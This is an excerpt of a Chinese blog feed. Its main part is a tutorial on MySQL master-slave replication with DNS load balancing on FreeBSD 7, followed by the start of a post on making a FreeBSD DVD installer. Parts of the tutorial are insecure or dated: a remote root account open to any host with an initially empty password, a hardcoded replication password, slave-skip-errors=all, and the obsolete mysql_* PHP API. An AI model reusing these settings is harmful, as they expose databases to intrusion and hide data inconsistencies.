<p>　　说明：MySQL默认的安装目录是/usr/local/mysql，为了增强系统部署的灵活性，紧贴用户应用系统实际情况，可以用—-prefix参数定制安装目录。&#8211;with-charset参数是使MySQL数据库支持中文gb2312字符集，如果需要支持其它字符集，使用&#8211;with- extra-charset参数，格式为—-with-extra-charset=CHARSET1,CHARSET2, … 。</p>
<p>　　(2). 编译安装MySQL</p>
<p>　　[root@FreebsdMaster /softwares/mysql-5.1.30]# /usr/local/bin/make</p>
<p>　　[root@FreebsdMaster /softwares/mysql-5.1.30]# /usr/local/bin/make install</p>
<p>　　[root@FreebsdMaster /softwares/ mysql-5.1.30]# /usr/local/bin/make clean</p>
<p>　　注意一定要按绝对路径调用GNU C编译器，否则编译过程报错退出。</p>
<p>　　(3). 为系统添加mysql用户组和用户</p>
<p>　　[root@FreebsdMaster /]# pw group add mysql</p>
<p>　　[root@FreebsdMaster /]# adduser</p>
<p>　　FreeBSD系统没有groupadd命令，其添加用户组的命令是pw，添加用户命令adduser按系统提示操作即可完成。当然用 pw user add mysql命令也可以完成添加用户mysql的功能，但不如adduser命令功能完善。</p>
<p>　　(4). 更改/app/mysql5目录及文件属性</p>
<p>　　[root@FreebsdMaster /app]# chmod –R mysql mysql5</p>
<p>　　[root@FreebsdMaster /app]# chgrp –R mysql mysql5</p>
<p>　　说明：/app/mysql5为MySQL数据库系统所在目录，如果用户部署的应用系统数据量极大，可以将数据库系统目录设在大容量磁盘阵列上。磁盘阵列设置与具体机器硬件相关性很大，具体操作设置参考具体硬件系统说明和FreeBSD操作手册。不借助第三方软件，FreeBSD 7.0-Release系统可以配置RAID0、RAID1磁盘阵列。</p>
<p>　　(5). 安装MySQL系统初始数据库</p>
<p>　　[root@FreebsdMaster /softwares/ mysql-5.1.30]# ./scripts/mysql_install_db.sh &#8211;basedir=/app/mysql5 –-data-dir=/app/mysql5/data</p>
<p>　　注意：必须考虑Unix系统的文件权限特性，首先给mysql_install_db.sh脚本添加可执行属性，否则安装脚本无法执行。执行chmod +x ./scripts/mysql_install_db.sh命令即可。参数&#8211;basedir=/app/mysql5和&#8211;datadir=/app /msyql5/data为必加参数，否则脚本运行报错退出，无法安装系统初始数据库mysql和测试数据库test，mysql数据库包含系统权限设置表，没有这些表数据库服务进程mysqld将无法启动。</p>
<p>　　(6). 再次更改/app/mysql5目录及其文件属性</p>
<p>　　[root@FreebsdMaster /app]# chmod –R root mysql5<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　　[root@FreebsdMaster /app]# chmod –R mysql mysql5/data</p>
<p>　　这样做是为了保证系统安全，防止通过MySQL系统漏洞的入侵行为。MySQL以mysql用户身份运行，对/data目录具有完全访问权限，对其它目录则只有系统管理员根据需要设置的访问权限，确保FreeBSD系统的安全。这里需要特别提醒用户注意的是要确保mysqld文件(MySQL的守护进程，位于/app/mysql5/libexec目录下)没有设置setuid标志位，如果设置了该标志位，入侵者对其它文件就具有其不应有的权限。具体原因参考关于Unix系统安全的手册，本文对这个问题不再赘述。</p>
<p>　　(7). 启动MySQL服务器</p>
<p>　　上述操作全部完成以后，输入如下命令启动MySQL数据库服务守护进程：</p>
<p>　　[root@FreebsdMaster /]# /app/mysql5/bin/mysqld_safe –user=mysql &#038;</p>
<p>　　&#8211;user参数表示以mysql用户身份运行MySQL数据库服务守护进程，“&#038;”符号表示以后台方式运行。输入 netstat –an|grep 3306命令，如果看到下面的输出则表示MySQL5.1.30已在用户系统上编译安装成功。其中，3306是MySQL数据库系统默认的监听端口号。</p>
<p>　　[root@FreebsdMaster /]# netstat –an|grep 3306</p>
<p>　　tcp4 0 0 *.3306 *.* LISTEN</p>
<p>　　按照同样方法与步骤在其它三台机器上安装FreeBSD 7.0-Release与MySQL5.1.30，为下面的MySQL服务器集群配置准备好系统平台基础。</p>
<p>　3.2 系统配置</p>
<p>　　所有系统安装完毕之后，需要对它们做一些必要的配置方可按照用户预先设计的结构模型实现具有负载均衡功能的MySQL服务器集群。</p>
<p>　　3.2.1 FreeBSD操作系统配置</p>
<p>　　(1). 调整内核参数，优化操作系统性能</p>
<p>　　因为是处于生产环境的服务器，投入正常运行之前一定要对内核参数进行必要的调整，提升系统性能，加强稳定性。简要说就是去掉不必要的硬件支持选项，使新内核占用更少的内存，加快启动速度。不同机器硬件系统差异很大，用户可根据具体系统的硬件情况不断调整试验，最终定制出最优化、最安全的FreeBSD系统。一定要屏蔽掉组合键Ctrl+Alt+Del的热重启功能，防止用户误按Ctrl+Alt+Del重启系统，引起数据库系统服务意外中断。在内核配置文件如MYKERNEL中加入：</p>
<p>　　options SC_DISABLE_REBOOT</p>
<p>　　重新编译系统内核，重启后即可屏蔽Ctrl+Alt+Del组合键的热重启功能。如何定制新内核及重新编译FreeBSD系统，用于可参考FreeBSD系统手册，此不赘述。</p>
<p>　　(2). 进行其它设置，增强系统安全性</p>
<p>　　用户可根据以下一般安全准则设置自己的FreeBSD系统。</p>
<p>　　·选择一个好的密码并予以妥善保护。</p>
<p>　　·对于敏感文件采用适当安全等级的加密算法进行加密。对于敏感级别不是很高的文件采用系统自带的crypt工具加密;对于敏感度极高的文件则使用专用加密工具，如PGP、GPG进行不对称加密，提高加密文件的防攻击能力。</p>
<p>　　·仔细设置文件访问权限，达到保护文件目的。</p>
<p>　　·保护好自己的.profile文件。恰当设置.profile文件的访问权限，确保只有自己能访问。</p>
<p>　　·仔细维护已设置setuid或setgid标志位的任何程序。</p>
<p>　　·禁止不加防范地离开已注册终端。任何时候都必须按常规正常退出系统，先执行clear清屏命令，防止其它用户看到操作痕迹，再执行exit命令退出终端。</p>
<p>　　·防范特洛伊木马程序。正确设置PATH变量的检索顺序，确保系统目录位于当前目录的前面。</p>
<p>　　·防范病毒的入侵。</p>
<p>　　·监控最近一次注册时间，确保没有他人盗用自己的帐号。</p>
<p>　　特别提示：对于生产环境的服务器，一定要保证服务器的物理安全，安全措施再完善的系统，一旦被入侵者物理接触，所有的安全措施将形同虚设!</p>
<p>　　Unix系统安全是一个很大的课题，本文只是提及了一些最肤浅的常识，具体内容用户可以参考相关书籍或网上资源。为确保Unix系统的配置具有高度的安全性，可以使用Internet安全中心(Center for Internet Security，CIS)提供的安全测试工具Benchmarks或评估工具Scoring Tools，检验和监控系统配置的安全性 [4]。</p>
<p>　　3.2.2 MySQL数据库系统配置</p>
<p>　　为了能使上述系统实现一对多的主从复制(replication)和冗余机制，还需要对以上四个MySQL服务器进行一些必要的配置。</p>
<p>　　(1). 配置主机名和IP地址</p>
<p>　　本实现方案中把MySQL服务器Master主机名设为FreebsdMaster，IP地址配置为192.168.1.100，其它三台Slave依次设为 FreebsdSlave1，192.168.1.101;FreebsdSlave2，192.168.1.102;FreebsdSlave3，IP 地址192.168.1.103。</p>
<p>　　(2). 设置root用户密码</p>
<p>　　MySQL的root用户初始密码为空，为保证系统安全必须为root用户设置密码：</p>
<p>　　[root@FreebsdMaster /]# /app/mysql5/bin/mysql –uroot –p</p>
<p>　　Enter password:</p>
<p>　　mysql>SET PASSWORD=PASSWORD(‘secret’);</p>
<p>　　同Unix系统一样，输入密码时屏幕没有任何回显，进入系统后执行SET PASSWORD SQL语句设置或修改MySQL root用户密码。为使应用系统服务器远程连接到MySQL数据库服务器，除本地root用户以外，还要设置一个能从用户内部网络其它终端登录的root 用户。具体操作如下：</p>
<p>　　mysql>USE mysql;</p>
<p>　　mysql>UPDATE user SET Host=’%’ WHERE Host=’hostname.yourdomain’ AND User=’root’;</p>
<p>　　mysql>flush privileges;</p>
<p>　　完成上述操作后应用系统服务器就可以连接到MySQL数据库服务器进行各种操作了，这个远程root用户的初始密码为空，用户需要从远程终端登录，为其设置密码。</p>
<p>　　(3). 开启MySQL服务器的二进制更新日志功能</p>
<p>　　上述MySQL服务器安装完成后，安装程序没有生成my.cnf配置文件，为此用户需要手工添加/etc/my.cnf文件。MySQL服务是由 /app/myql5/libexec/mysqld提供的，其寻找my.cnf配置文件的默认顺序为/etc/my.cnf，~/.my.cnf， /usr/local/mysql/etc/my.cnf。启动ee编辑器，# ee /etc/my.cnf，在Master机器的配置文件写入如下内容：</p>
<p>　　[mysqld]</p>
<p>　　log-bin=mysql-master-bin</p>
<p>　　server-id=1</p>
<p>　　在其它三台Slave机器的配置文件/etc/my.cnf文件写入如下内容：</p>
<p>　　[mysqld]</p>
<p>　　server-id=int</p>
<p>　　其中，int为一大于1且互不相等的正整数，如2，3，4等。务必要正确设置每个机器上的/etc/my.cnf配置文件，尤其是server-id不能有重复，这是一对多数据库复制能否成功的关键[5]!</p>
<p>　　设定好上述/etc/my.cnf文件后启动Master上的MySQL数据库服务时就自动开启了二进制更新日志功能。在Slave上启动MySQL时要加上&#8211;log-bin参数，即可开启二进制更新日志功能。在Slave机器上启动MySQL服务的命令如下：</p>
<p>　　# /app/mysql5/bin/mysqld_safe &#8211;user=mysql &#8211;log-bin &#038;</p>
<p>　　这样做的目的为了实现冗余容错功能。当主服务器Master出现故障停止服务时，在预转换角色成为Master的Slave上执行STOP SLAVE; RESET MASTER SQL语句，在其它两台Slave上执行CHANGE MASTER TO SQL语句，执行STOP SLAVE; RESET MASTER SQL语句的Slave服务器即转换成新的Master，其余两台机器则从新的Master复制数据库数据(复制的是更新UPDATE、INSERT等操作，并不是简单的copy)，从而实现冗余容错。</p>
<p>　3.3 系统实现</p>
<p>　　完成上述准备后可以开始实现MySQL数据库的一对多复制，对应用系统的数据库访问代码进行优化，使更新操作UPDATE、INSERT等SQL语句定向到Master服务器，查询检索SELECT语句定向到Slave服务器，从而实现负载均衡; 当主服务器Master出现故障停止服务时，通过服务器角色转换实现冗余容错;上述所有服务器通过高速核心交换机连接在一起，协同工作，提供集群 (Cluster)性能。下面，本文就此举一简例，具体说明实现(Implementation)步骤。</p>
<p>　　3.3.1 准备主服务器</p>
<p>　　(1). 在主服务器上创建示例数据库repl_db</p>
<p>　　从本地或远程终端登录到Master服务器，执行CREATE DATABASE repl_db;语句，创建示例数据库repl_db。建立表repl_table：</p>
<p>　　mysql>CREATE TABLE repl_table (f1 INT, f2 VARCHAR(20)) ;</p>
<p>　　向表中添加数据：</p>
<p>　　mysql>INSERT INTO repl_table (f1, f2) VALUES(1, ‘first’);</p>
<p>　　(2). 授予Slave复制(Replication)权限</p>
<p>　　授予从属服务器Slave进行复制的权限。假设从属服务器连接到主服务器复制的用户名为“repl”，密码为“g00r002b”：</p>
<p>　　mysql>GRANT REPLICATION SLAVE ON *.* TO repl@’%’ IDENTIFIED BY ‘g00r002b’;</p>
<p>　　刷新系统权限表，锁定写入语句操作：</p>
<p>　　mysql>FLUSH TABLES WITH READ LOCK;</p>
<p>　　这时所有写入操作都被锁定，包括支持事务(Transaction)特性的InnoDB类型表的提交(COMMIT)操作也被锁定，为数据库初始复制(copy)做好准备。</p>
<p>　　(3). 简单备份repl_db</p>
<p>　　在此，通过tar命令把数据库初始数据备份到/tmp目录。</p>
<p>　　# tar –cvf /tmp/mysql-data.tar /app/mysql5/data/repl_db</p>
<p>　　(4). 记录主服务器状态</p>
<p>　　执行SHOW MASTER STATUS 语句：</p>
<p>　　mysql> SHOW MASTER STATUS;</p>
<p>　　&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+</p>
<p>　　| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |</p>
<p>　　+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+</p>
<p>　　| mysql-master-bin.000001 | 1027 | | |</p>
<p>　　+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+</p>
<p>　　记下File和Position两个参数的值，从属服务器Slave为了复制(replication)连接到主服务器Master时要用到这两个参数，如果参数与此不符将导致复制(replication)失败!</p>
<p>　　(5). 释放主服务器表级写入锁定</p>
<p>　　mysql>UNLOCK TABLES;</p>
<p>　　至此，主服务器解除写入锁定，一对多复制准备工作已全部完成，准备接受Slave的复制(replication)连接。</p>
<p>　　3.3.2 准备从属服务器</p>
<p>　　(1). 停止从属服务器的MySQL数据库服务</p>
<p>　　# /app/mysql5/bin/mysqladmin –uroot –p shutdown</p>
<p>　　Enter password:</p>
<p>　　输入MySQL系统root用户密码，MySQL服务停止。</p>
<p>　　(2). 简单copy数据库初始数据</p>
<p>　　在从属服务器上执行ftp操作，访问主服务器，下载/tmp/mysql-data.tar文件，在/app/mysql5/data目录下执行如下操作，把初始数据copy到Slave服务器：</p>
<p>　　[root@FreebsdSlave1 /app/mysql5/data]# tar –xvf /tmp/msyql-data.tar</p>
<p>　　其它两台Slave服务器执行同样操作，实现数据库初始数据的简单copy。</p>
<p>　　(3). 重启从属服务器上的MySQL数据库服务</p>
<p>　　# /app/mysql5/bin/mysqld_safe –-user=mysql –-log-bin &#038;</p>
<p>　　从属服务器已启动，同时启动二进制更新日志功能，为角色转换做好准备。</p>
<p>　　(4). 登录到从属服务器Slave的MySQL客户端</p>
<p>　　# /app/mysql/bin/msyql –uroot -p</p>
<p>　　(5). 启动从属服务器上的复制(replication)线程</p>
<p>　　mysql> CHANGE MASTER TO</p>
<p>　　-> MASTER_HOST=&#8217;192.168.1.100&#8242;,</p>
<p>　　-> MASTER_USER=&#8217;repl&#8217;,</p>
<p>　　-> MASTER_PASSWORD=&#8217;g00r002b&#8217;,</p>
<p>　　-> MASTER_LOG_FILE=&#8217; mysql-master-bin.000001&#8242;,</p>
<p>　　-> MASTER_LOG_POS=1027;</p>
<p>　　Query OK, 0 rows affected (0.00 sec)</p>
<p>　　mysql> START SLAVE;</p>
<p>　　Query OK, 0 rows affected (0.00 sec)</p>
<p>　　在所有从属服务器上执行相同的操作，自此从属服务器已连接到主服务器，开始真正意义上的replication工作。测试从属服务器的复制工作是否正常：</p>
<p>　　mysql>show slave status\G</p>
<p>　　************************** 1. row ***************************</p>
<p>　　Slave_IO_State: Waiting for master to send event</p>
<p>　　Master_Host: 192.168.1.100</p>
<p>　　Master_User: repl</p>
<p>　　Master_Port: 3306</p>
<p>　　Connect_Retry: 60</p>
<p>　　Master_Log_File: mysql-master-bin.000001</p>
<p>　　Read_Master_Log_Pos: 1027</p>
<p>　　Relay_Log_File: FreebsdSlave1-relay-bin.000005</p>
<p>　　Relay_Log_Pos: 251</p>
<p>　　Relay_Master_Log_File: mysql-master-bin.000001</p>
<p>　　Slave_IO_Running: Yes</p>
<p>　　Slave_SQL_Running: Yes</p>
<p>　　看到上述信息说明从属服务器已启动了与replication相关的线程I/O和SQL，一对多的replication已经开始工作。</p>
<p>　　(6). 功能测试</p>
<p>　　在主服务器上写入新的数据：</p>
<p>　　mysql>INSERT INTO repl_table (f1, f2) VALUES(2, ‘second’);</p>
<p>　　mysql>SELECT * FROM repl_table;</p>
<p>　　+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;+</p>
<p>　　| f1 | f2 |</p>
<p>　　+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+</p>
<p>　　| 1 | first |</p>
<p>　　| 2 | second |</p>
<p>　　+&#8212;&#8211;=&#8211;+&#8212;&#8212;&#8212;-+</p>
<p>　　2 rows in set (0.01 sec)</p>
<p>　　在Slave上执行相同的查询操作：</p>
<p>　　mysql>SELECT * FROM repl_table;</p>
<p>　　+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;+</p>
<p>　　| f1 | f2 |</p>
<p>　　+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+</p>
<p>　　| 1 | first |</p>
<p>　　| 2 | second |</p>
<p>　　+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+</p>
<p>　　2 rows in set (0.01 sec)</p>
<p>　　得到相同的查询结果，说明复制(replication)机制已成功开始工作!</p>
<p>　　3.3.3 配置网络DNS服务器</p>
<p>　　在BIND DNS服务器中，为上述三台从属服务器Slave配置同一个名字，客户端的查询检索操作将由DNS服务器定向到其中的一台Slave。因此，对于同一名字，不同的客户端会定向到不同的地址，访问不同的MySQL服务器，从而达到负载均衡的目的。假设用户为三台Slave分配的DNS名字为 mysqlslave.yourdomain，DNS服务器区域文件/var/named/yourdomain.zone中应包含如下数据项[6]：</p>
<p>　　sqlmaster.yourdomain. IN A 192.168.1.100</p>
<p>　　sqlslave1.yourdomain. IN A 192.168.1.101</p>
<p>　　sqlslave2.yourdomain. IN A 192.168.1.102</p>
<p>　　sqlslave3.yourdomain. IN A 192.168.1.103</p>
<p>　　sqlslave IN CNAME sqlslave1</p>
<p>　　sqlslave IN CNAME sqlslave2</p>
<p>　　sqlslave IN CNAME sqlslave3</p>
<p>　　当客户端进行查询操作时，提交给主机sqlslave.yourdomain的请求将由DNS服务器随机定向到三台Slave中的一台，由其执行查询作业，返回结果。从而在三台Slave之间实现查询级别的负载均衡。</p>
<p>　　3.3.4 应用系统程序代码优化</p>
<p>　　实际应用中，对数据库的写入操作相对查询操作少得多，因此，优化应用程序的数据库连接代码，把写入操作定向到Master服务器，查询操作定向到 Slave服务器，提供主服务器和从属服务器之间更新、查询的负载均衡功能。本文以PHP数据库连接代码为例，简要介绍代码优化方法[7]。</p>
<p>　　(1). 准备不同的数据库连接配置文件</p>
<p>　　准备两个数据库连接文件mysql_connect_master.php和mysql_connect_slave.php，其文件内容如下：</p>
<p>　　mysql_connect_master.php文件的内容：</p>
<p>　　</p>
<p>　　// Connect to the Database Server</p>
<p>　　$linkID = @mysql_connect(&#8220;sqlmaster.yourdomain&#8221;, &#8220;user&#8221;, &#8220;password&#8221;) or die(&#8220;Sorry, could not connect to the database!&#8221;);</p>
<p>　　// Select the Database</p>
<p>　　@mysql_select_db(&#8220;repl_db&#8221;) or die(&#8220;Sorry, Could not select database!&#8221;);</p>
<p>　　?></p>
<p>　　mysql_connect_slave.php文件的内容：</p>
<p>　　</p>
<p>　　// Connect to the Database Server</p>
<p>　　$linkID = @mysql_connect(&#8220;sqlslave.yourdomain&#8221;, &#8220;user&#8221;, &#8220;password&#8221;) or die(&#8220;Sorry, could not connect to the database!&#8221;);</p>
<p>　　// Select the Database</p>
<p>　　@mysql_select_db(&#8220;repl_db&#8221;) or die(&#8220;Sorry, Could not select database!&#8221;);</p>
<p>　　?><br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　　(2). 优化程序SQL语句代码</p>
<p>　　对应用程序中访问数据库的代码段做出如下优化：</p>
<p>　　</p>
<p>　　&#8230;</p>
<p>　　// $sql is the query string to be committed to MySQL server.</p>
<p>　　if ( stripos( $sql, &#8221; SELECT&#8221; ) )</p>
<p>　　{</p>
<p>　　include_once(&#8220;./mysql_connect_slave.php&#8221;);</p>
<p>　　&#8230;</p>
<p>　　mysql_close();</p>
<p>　　}</p>
<p>　　else</p>
<p>　　{</p>
<p>　　include_once(&#8220;./mysql_connect_master.php&#8221;);</p>
<p>　　&#8230;</p>
<p>　　mysql_close();</p>
<p>　　}</p>
<p>　　&#8230;</p>
<p>　　?></p>
<p>　　说明：每当向MySQL服务器提交数据库操作时，加入一个if-else判断语句对变量$sql进行判断定向，如果是SELECT查询操作，将其定向到从属服务器Slave中的一个;如果是其它更新语句，则将其定向到主服务器Master。此处代码段是应用系统实现负载均衡的关键，用户务必根据自己实际情况，写出准确无误的代码。每次对数据库操作完毕都要及时释放数据库连接，以免更新、查询操作分别定向失败，影响系统负载均衡功能。这样做虽然在一定程度上增加Web服务器或应用服务器的开销，但与MySQL服务器集群负载均衡功能带来的大幅性能提升及冗余容错特性相比，这个开销绝对是物超所值!</p>
<p>　　3.4 注意事项</p>
<p>　　正确部署实现具有负载均衡功能的MySQL服务器集群必须注意以下事项：</p>
<p>　　(1). MySQL数据库复制(replication)特性是核心</p>
<p>　　此处的复制不是简单的copy，从属服务器启动两个线程(thread)：I/O线程和SQL线程，I/O线程接收主服务器对参与复制数据库的更新操作事件(event)，并记入自己的中继二进制更新日志文件(hostname-relay-bin.00000n)，由SQL线程将更新操作写入自己的数据库表项。主从服务器之间复制的不是具体的数据内容，而是具体的以二进制格式记录的操作事件，因而在一定程度上实现主从服务器之间的数据同步。(这种复制类似于生物学意义上的按基因复制，在英语中replication的主要词义就是指该种复制。)</p>
<p>　　(2). 复制的复杂性</p>
<p>　　主从数据库服务器间的replication要求Master与Slave上的MySQL版本最好一致，主从服务器必须设置相同的字符集，否则很容易造成复制失败。主服务器上更新权限表内容的FLUSH语句不会被复制[8]。</p>
<p>　　(3). 按照范式化要求设计数据库</p>
<p>　　生产环境下基于MySQL服务器的应用系统要想稳定运行，按范式化设计系统数据库是基本要求，具体内容可参考相关书籍。</p>
<p>　　(4). 打开数据库服务器的远程用户连接功能</p>
<p>　　打开主从服务器的远程用户连接是实现更新、查询操作分别定向的必要条件，否则，来自应用服务器的连接请求失败，影响系统应用正常运行。</p>
<p>　　(5). 负载均衡功能的实现需要良好的团队合作</p>
<p>　　BIND DNS服务器实现了从属服务器Slave之间的负载均衡，Slave和Master之间的负载均衡则由应用系统开发人员在程序代码级实现。整个系统的性能提升和冗余容错需要网络管理和应用系统开发团队之间的良好合作，否则负载均衡功能的实现就会失败。</p>
<p>4. 常见问题</p>
<p>　　(1). 如何估算MySQL服务器集群的性能提升量?</p>
<p>　　针对本文采用的结构模式，可对应用系统整体性能提升做出大致估算。假设应用系统写操作占10%，读操作占90%，写操作耗时是读操作的2倍，系统的吞吐量(throughput)为T(用reads/s读操作次数/秒来衡量)。把写操作线性转换为读操作，则有：</p>
<p>　　T= 2Xwrites + 9Xwrites ==>writes=T/11① (不采用主从复制模式，读写操作集中到一个服务器上)</p>
<p>　　T= 2Xwrites + 9Xwrites/N ==> writes=T/(2+9/N)② (采用一对多的主从复制模式，读操作在从属服务器，写操作在主服务器)</p>
<p>　　其中，writes为系统单位时间内所能承受的最大写操作次数，N为从属服务器个数，N大于等于2。在不采用主从复制模式时，系统性能 writes=T/11;采用本文一对三的复制模式时，系统性能writes=T/5。采用负载均衡模式与不采用系统性能之比为11：5，即2.2：1，考虑到应用服务器的额外开销，系统整体性能提升了整整1倍!从②式可以看出，系统整体性能理论极限为T/2，当然在实际生产环境中不可能达到。具体部署时用户可以根据自己的实际情况估算出合理的从属服务器数量，主要影响因素是网络带宽和机器整体性能[9]。</p>
<p>　　(2). 如何应对主从服务器崩溃?</p>
<p>　　当某台从属服务器崩溃时，修复故障重启后重新连接到主服务器，根据其master.info文件更新其数据，保持与主服务器的数据同步。如果主服务器崩溃，在某一从属服务器上执行STOP SLAVES; GRANT REPLICATION SLAVE ON *.* repl_db TO ‘repl’@’%’ IDENTIFIED BY ‘g00r002b’;RESET MASTER;这三个SQL语句，由于从属服务器已启动了二进制更新日志功能，因此具备了角色转换的必要条件。更改其主机名、IP地址及server- id与Master一样，重启MySQL服务器，系统开始正常对外提供服务。其它两台从属服务器则不需执行任何操作，继续执行replication过程。BIND DNS服务器和应用程序也不需做任何调整，继续对系统用户提供不间断服务。主服务器排除故障恢复正常后，将其网络配置改为与现有Master转换角色之前一样的配置，重启MySQL服务，将其角色转换为从属服务器。也就是说，整个集群机器的角色可以相互循环转换，提高系统的冗余性和可靠性。在此需要注意的是，在应用系统调试运行正常之后，在Slave角色服务器的/etc/my.cnf文件[mysqld]段加入slave-skip- errors=all，保证集群之间复制(replication)的正常运行。</p>
<p>　　5. 结束语</p>
<p>　　部署与实现具有负载均衡功能的MySQL服务器集群是一项复杂的系统工程，需要多方面良好的协同合作才能做好。服务器的搭建配置、BIND DNS服务器的配置部署，以及应用系统程序的开发都要紧紧围绕实现MySQL服务器集群负载均衡功能这个目标。必须对主服务器的运行状态进行动态监控，如果发生故障，立即执行角色转换过程，确保为终端用户提供可靠、不间断的服务。可以针对具体系统环境写出监控脚本或程序，确保系统的可靠性与稳定性。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1134.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何制作freebsd7的DVD安装盘</title>
		<link>http://www.evanjiang.net.cn/archives/1087.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1087.html#comments</comments>
		<pubDate>Fri, 22 May 2009 10:31:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1087</guid>
		<description><![CDATA[<p>发现网上流传的Windows下的制作FreeBSD DVD安装盘都不正确，原因很简单，光盘中packages/子目录中的软件包都失去了指向../All/*的链接，只好试着在FreeBSD下作了一张，可行，搞定，现记录过程如下： </p>
<p>在VMware下安装FreeBSD，标准化最小安装，安装包：
sysutils/dvd+rw-tools（其中包含mkisofs、growisofs），其它工具（tar,mount,mdconfig）系统自带。
将FreeBSD7的几个ISO文件cp进vmware，如：/work/fbd7目录，开始命令:
su
cd /work/fbd7
mdconfig -a -f 7.0-RELEASE-i386-docs.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf &#8211; . &#124; tar -xf &#8211;
umount /mnt
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk3.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf &#8211; . &#124; tar -xf &#8211;
umount /mnt
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk2.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt [...]]]></description>
			<content:encoded><![CDATA[<p>发现网上流传的Windows下的制作FreeBSD DVD安装盘都不正确，原因很简单，光盘中packages/子目录中的软件包都失去了指向../All/*的链接，只好试着在FreeBSD下作了一张，可行，搞定，现记录过程如下： </p>
<p>在VMware下安装FreeBSD，标准化最小安装，安装包：<br />
sysutils/dvd+rw-tools（其中包含mkisofs、growisofs），其它工具（tar,mount,mdconfig）系统自带。<br />
将FreeBSD7的几个ISO文件cp进vmware，如：/work/fbd7目录，开始命令:<br />
su<br />
cd /work/fbd7<br />
mdconfig -a -f 7.0-RELEASE-i386-docs.iso<br />
mount -t cd9660 /dev/md0 /mnt<br />
tar -C /mnt -cf &#8211; . | tar -xf &#8211;<br />
umount /mnt<br />
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk3.iso<br />
mount -t cd9660 /dev/md0 /mnt<br />
tar -C /mnt -cf &#8211; . | tar -xf &#8211;<br />
umount /mnt<br />
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk2.iso<br />
mount -t cd9660 /dev/md0 /mnt<br />
tar -C /mnt -cf &#8211; . | tar -xf &#8211;<br />
umount /mnt<br />
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk1.iso<br />
mount -t cd9660 /dev/md0 /mnt<br />
tar -C /mnt -cf &#8211; . | tar -xf &#8211;<br />
umount /mnt<br />
mdconfig -d -u 0<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
检查/work/fbd7/cdrom.inf<br />
如按以上顺序，cdrom.inf中应为：<br />
CD_VERSION = 7.0-RELEASE<br />
CD_VOLUME = 1<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<span id="more-1087"></span><br />
cd packages<br />
cat INDEX | sed &#8220;s/|3/|1/g&#8221; > ix<br />
cat ix | sed &#8220;s/|2/|1/g&#8221; > ixx<br />
mv ixx INDEX<br />
rm ix<br />
cd ..<br />
rm -r /work/fbd7/rr_moved（这是docs光盘的目录，这里不需要，生成ISO时会自动生成）<br />
将原来的几个iso移到其它目录<br />
mkdir /work/iso<br />
mv /work/fbd7/*.iso /work/iso<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
生成DVD ISO文件：<br />
mkisofs -R -no-emul-boot -b boot/cdboot -iso-level 3 -o /work/FreeBSD7_DVD.iso /work/fbd7<br />
或 直接刻录成DVD：<br />
growisofs –Z /dev/cd0 –speed 16 –no-amul-boot –b boot/cdboot –iso-level 3 /work/fbd7<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
